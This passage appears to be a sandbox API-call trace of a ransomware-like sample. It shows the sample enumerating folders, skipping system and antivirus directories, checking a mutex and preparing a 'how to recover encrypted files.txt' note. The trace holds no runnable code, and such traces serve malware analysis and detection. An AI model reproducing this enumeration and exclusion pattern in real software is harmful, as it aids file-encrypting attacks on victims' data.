lpWideCharStr="backup?T ") returned 6 [0046.949] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0046.949] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="❌R䱠@⡄R企@\x18?T\x18\x8f")) returned 0xffffffff [0046.949] GetLastError () returned 0x2 [0046.949] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\he-il\\") returned 0x39 [0046.949] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0046.949] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0046.949] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="❌R䱠@⤼R企@\x18?T\x18\x97")) returned 0xffffffff [0046.949] GetLastError () returned 0x2 [0046.949] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\he-il\\") returned 0x39 [0046.949] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0046.950] GlobalLock (hMem=0x440004) returned 0x551178 [0046.950] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.950] GlobalUnlock (hMem=0x440004) returned 0 [0046.950] GlobalLock (hMem=0x440004) returned 0x551178 [0046.950] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.950] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.950] GlobalUnlock (hMem=0x440004) returned 0 [0046.950] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.950] GlobalUnlock (hMem=0x44000c) returned 0 [0046.950] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\he-il\\") returned 0x39 [0046.950] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.950] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0046.950] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\he-il\\") returned 0x39 [0046.950] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0046.950] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0046.950] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\he-il\\") returned 0x39 [0046.950] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.950] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0046.950] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\he-il\\") returned 0x39 [0046.951] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0046.951] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0046.951] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.951] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.951] GlobalUnlock (hMem=0x44000c) returned 0 [0046.951] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.951] GlobalLock (hMem=0x440004) returned 0x553188 [0046.951] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.951] GlobalUnlock (hMem=0x44000c) returned 0 [0046.951] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.951] GlobalUnlock (hMem=0x440004) returned 0 [0046.951] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\he-il\\") returned 0x39 [0046.951] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0046.951] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\he-il\\") returned 0x39 [0046.951] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0046.951] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\he-il\\") returned 0x39 [0046.951] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0046.951] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\he-il\\") returned 0x39 [0046.951] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0046.952] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\he-il\\") returned 0x39 [0046.952] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0046.952] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\he-il\\") returned 0x39 [0046.952] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0046.952] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\he-il\\") returned 0x39 [0046.952] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0046.952] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\he-il\\") returned 0x39 [0046.952] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0046.952] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\he-il\\") returned 0x39 [0046.952] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0046.952] GlobalLock (hMem=0x440004) returned 0x551178 [0046.952] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.952] GlobalUnlock (hMem=0x440004) returned 0 [0046.953] GlobalLock (hMem=0x440004) returned 0x551178 [0046.953] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.953] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.953] GlobalUnlock (hMem=0x440004) returned 0 [0046.953] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.953] GlobalUnlock (hMem=0x44000c) returned 0 [0046.953] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0046.953] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.953] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.953] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0046.953] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.953] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.953] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.953] GlobalUnlock (hMem=0x44000c) returned 0 [0046.953] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.953] GlobalLock (hMem=0x440004) returned 0x554190 [0046.953] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.953] GlobalUnlock (hMem=0x44000c) returned 0 [0046.953] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.953] GlobalUnlock (hMem=0x440004) returned 0 [0046.953] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.953] CharLowerBuffW (in: lpsz="tipresx.dll.mui", cchLength=0xf | out: lpsz="tipresx.dll.mui") returned 0xf [0046.953] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.953] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.953] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.953] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.954] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui", cchWideChar=72, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 72 [0046.954] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0046.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiShared\\ink\\he-IL\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 4 [0046.954] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.954] GetLastError () returned 0x12 [0046.954] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0046.954] GlobalLock (hMem=0x440004) returned 0x551178 [0046.954] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.954] GlobalUnlock (hMem=0x440004) returned 0 [0046.954] GlobalLock (hMem=0x440004) returned 0x551178 [0046.954] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.954] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.954] GlobalUnlock (hMem=0x440004) returned 0 [0046.954] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.955] GlobalUnlock (hMem=0x44000c) returned 0 [0046.955] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0046.955] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0046.955] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.955] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.955] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.955] GlobalUnlock (hMem=0x44000c) returned 0 [0046.955] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.955] GlobalLock (hMem=0x440004) returned 0x553188 [0046.955] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.955] GlobalUnlock (hMem=0x44000c) returned 0 [0046.955] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.955] GlobalUnlock (hMem=0x440004) returned 0 [0046.955] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.955] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.955] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.955] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.955] GlobalLock (hMem=0x440004) returned 0x552180 [0046.955] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.955] GlobalUnlock (hMem=0x440004) returned 0 [0046.955] GlobalLock (hMem=0x440004) returned 0x552180 [0046.955] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.955] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.955] GlobalUnlock (hMem=0x440004) returned 0 [0046.955] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.955] GlobalUnlock (hMem=0x44000c) returned 0 [0046.955] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.955] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.956] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.956] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.956] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.956] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.956] GlobalUnlock (hMem=0x44000c) returned 0 [0046.956] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.956] GlobalLock (hMem=0x440004) returned 0x554190 [0046.956] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.956] GlobalUnlock (hMem=0x44000c) returned 0 [0046.956] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.956] GlobalUnlock (hMem=0x440004) returned 0 [0046.956] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.956] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.956] GetLastError () returned 0x12 [0046.956] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0046.956] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0046.956] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 